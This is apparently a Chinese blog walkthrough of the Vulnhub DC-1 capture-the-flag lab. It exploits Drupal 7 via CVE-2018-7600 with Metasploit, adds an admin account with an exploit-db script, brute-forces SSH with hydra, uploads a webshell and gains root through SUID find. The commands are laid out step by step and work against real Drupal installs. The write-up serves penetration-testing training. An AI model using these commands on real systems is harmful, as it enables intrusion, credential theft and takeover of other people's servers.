Vulnhub
简介
Vulnhub是一个提供各种漏洞环境的靶场平台,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行。每个镜像会有破解的目标,挑战的目标是获取操作系统的root权限和查看flag。
部署方法
1.在官网搜索你想要的镜像,然后下载【建议下载 (Mirror)版本】
2.下载好后解压得到.ova
的文件,右击选择VMware进行打开
3.在弹出的框中,选择存放的位置,然后点击导入
4.最后等待导入完成,然后启动该虚拟机就可以了
DC-1__drupal
零、简介
靶机下载地址:https://download.vulnhub.com/dc/DC-1.zip
靶机描述:DC-1 是一个专门构建的易受攻击的实验室,旨在获得渗透测试领域的经验。共有五个flag,但最终目标是拿到root目录中的flag。
涉及漏洞:CVE-2018-7600 CVE-2018-7600
参考:CVE-2018-7600 Drupal核心远程代码执行漏洞分析 Uncovering Drupalgeddon 2
攻击机:Kali/192.168.0.104
一、信息收集
运行部署好的虚拟机,提示需要账号密码,该靶机不提供密码需要自己去渗透提权
因不知道DC-1靶机的IP,所有我们需要将靶机和攻击机kali放在同一个局域网里面,将Kali的网络适配器使用桥接模式
1.探测目标
方法一:使用arp-scan工具
探测同一区域中存活主机
$ sudo arp-scan -l
-l 使用网络接口
方法二:使用netdiscover工具
探测存活主机
$ sudo netdiscover -i eth0
-i device 用于嗅探和注入数据包的网络接口
方法三:使用nmap工具
$ sudo ifconfig #查看kali的ip【192.168.0.103】
$ nmap 192.168.0.0/24
2.查看目标开放端口
$ nmap -sV -p- 192.168.0.119
-sV 用来扫描目标主机和端口上运行的软件的版本
-p- 扫描0-65535全部端口
目标靶机开放了80端口,在浏览器打开该站点
3.查看网页相关信息
使用浏览器插件Wappalyzer
,这个插件可以检测网站的CMS,框架,服务器等信息,
可以看到该网站使用CMS为Drupal
,其实在网页界面和底部都能发现是Drupal
二、漏洞查找与利用
1.漏洞查找
使用Metasploit搜索Drupal
$ sudo msfdb init && msfconsole
$ search Drupal
2.漏洞利用
优先选择上面查到模块的Rank为excellent并且时间较新的模块,这里我们使用第4个
$ use exploit/unix/webapp/drupal_drupalgeddon2
$ show options
$ set RHOSTS 192.168.0.119
$ exploit 或者 run
#当出现“Meterpreter session 1 opened”说明利用成功
三、Getshell
1.获取普通shell
meterpreter >shell
ls
发现有个flag1.txt
,打开看一哈
$ cat flag1.txt
Every good CMS needs a config file - and so do you.
翻译:每一个好的CMS都需要一个配置文件,你也一样。
百度查到Drupal的默认配置文件为 /var/www/sites/default/settings.php
cat /var/www/sites/default/settings.php
配置文件中看到了flag2
翻译:蛮力和字典攻击不行,唯一方法是获得访问权限(你将需要访问的)。你能用这些凭证做什么?
同时,还有获得了数据库账号和密码
'username' => 'dbuser',
'password' => 'R0ck3t',
2.获取交互式shell
使用python反弹一个交互式shell,然后我们登陆数据库
$ python -c 'import pty; pty.spawn("/bin/bash")'
$ mysql -udbuser -p
Enter password:R0ck3t
查看数据库,在drupaldb库users表中发现admin用户
mysql> show databases; #[drupaldb]
mysql> use drupaldb;
mysql> show tables; #[users]
mysql> select * from users;
可以看到admin用户的密码被加密了的,但是我们可以想办法修改密码或新增一个admin权限的用户
方法一:修改admin用户的密码
使用Drupal对数据库的加密方法,生成一个新密码,然后把新的密码更新到admin用户
加密脚本位置在/var/www/scripts/password-hash.sh
下
$ php scripts/password-hash.sh jwt #生成新密码jwt
# hash:$S$D5HTFVPccZrLCEJ7CzFvPvvh5zlSRhjF6E7AZ0Wg0R.cDGjgChoX
mysql> update drupaldb.users set pass="$S$D5HTFVPccZrLCEJ7CzFvPvvh5zlSRhjF6E7AZ0Wg0R.cDGjgChoX" where name="admin";
方法二:新增一个admin权限的用户
在exploitdb中有一个针对Drupal 7版本的攻击脚本,可以增加一个admin权限的用户账号
查看Drupal版本,确定Drupal版本为7.24
$ cat /var/www/includes/bootstrap.inc | grep VERSION
msf > searchsploit drupal
攻击脚本适用于7.31以下,所以适合7.24版本,可以利用漏洞增加admin权限用户
增加有admin权限的用户:admin1/admin1
python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.0.100 -u admin1 -p admin1
输入用户名/密码【admin/jwt或者admin1/admin1】,尝试登陆
成功登陆
在后台左上角的Find content
中发现flag3
flag3的信息中提到了passwd和shadow,很明显就是/etc/passwd和/etc/shadow
,还提到了find、perms、-exec
,这几个是提权用的。
我们来查看哈/etc/passwd和/etc/shadow
的内容
/etc/passwd 是一个纯文本文件。它存储用户帐户信息。它包含系统帐户的列表,为每个帐户提供一些有用的信息,如用户 ID、组 ID、主目录、shell 等
etc/shadow是/etc/passwd的影子文件,存有密码信息
$ cat /etc/passwd
或者
$ tail -3 /etc/passwd #为了方便截图,只显示文件的最后三行
$ cat /etc/shadow #权限不够查看失败
发现有个叫flag4
的账号,但是查看使用/etc/shadow
失败,但是前面nmap扫描的时候发现了 ssh 服务,现在又发现了 flag4 用户,所以尝试使用hydra
进行密码的暴力猜解
sudo hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz 192.168.0.100 ssh
或者
sudo hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.0.100
#ip变成192.168.0.100,是应为我重启了,靶机ip变了
-l 指定破解的用户
-P 指定密码字典
ssh://ip 指定使用协议和ip地址
使用得到用户名密码【 flag4/orange】,登录靶机
也可以用kali直接远程连接
ssh flag4@192.168.0.100
$ ls
$ cat flag4.txt
flag4提示flag在root目录下,在/root
下发现thefinalflag.txt
,但是没有读取的权限
3.上传冰蝎马获取shell
当然你还可以利用meterperter的shell直接上传冰蝎的shell。
meterperter> upload /home/jwt/Desktop/shell.php /var/www/shell.php
然后冰蝎连接就可以了
四、提升权限
根据flag3和flag4都提到了find,所以下面我们利用find文件提权
参考:Linux下用SUID提权、linux提权-SUID提权、find命令之exec
SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了。
#查找具有root权限的SUID的文件
$ find / -perm -u=s -type f 2>/dev/null
可以看到find命令具有SUID权限,如果find以SUID权限运行,所有通过find执行的命令都会以root权限运行。
$ touch jwt
#查找根目录下名为jwt的文件并执行shell
$ find / -name jwt -exec "/bin/sh" \;
#-exec 参数后面跟的是command命令,它的终止是以;为结束标志的,所以这句命令后面的分号是不可缺少的,考虑到各个系统中分号会有不同的意义,所以在分号前面加反斜杠。
可以看到已经成功提权拿到root shell,接下来就来查看最终的flag吧
cd /root
ls
cat thefinalflag.txt
到这里我们就成功获取到了5个flag,并成功走完了整个渗透流程
五、总结
1.扫描局域网主机
sudo arp-scan -l
参考:kali之arp-scan
sudo netdiscover -i eth0
参考:netdiscover用法
nmap 192.168.0.0/24
2.MSF使用
参考:MSF之命令笔记篇
3.hydra爆破
sudo hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.0.100
4.suid提权
参考:Linux下用SUID提权、linux提权-SUID提权、find命令之exec
赞助💰
如果你觉得对你有帮助,你可以赞助我一杯冰可乐!嘻嘻🤭
支付宝支付 | 微信支付 |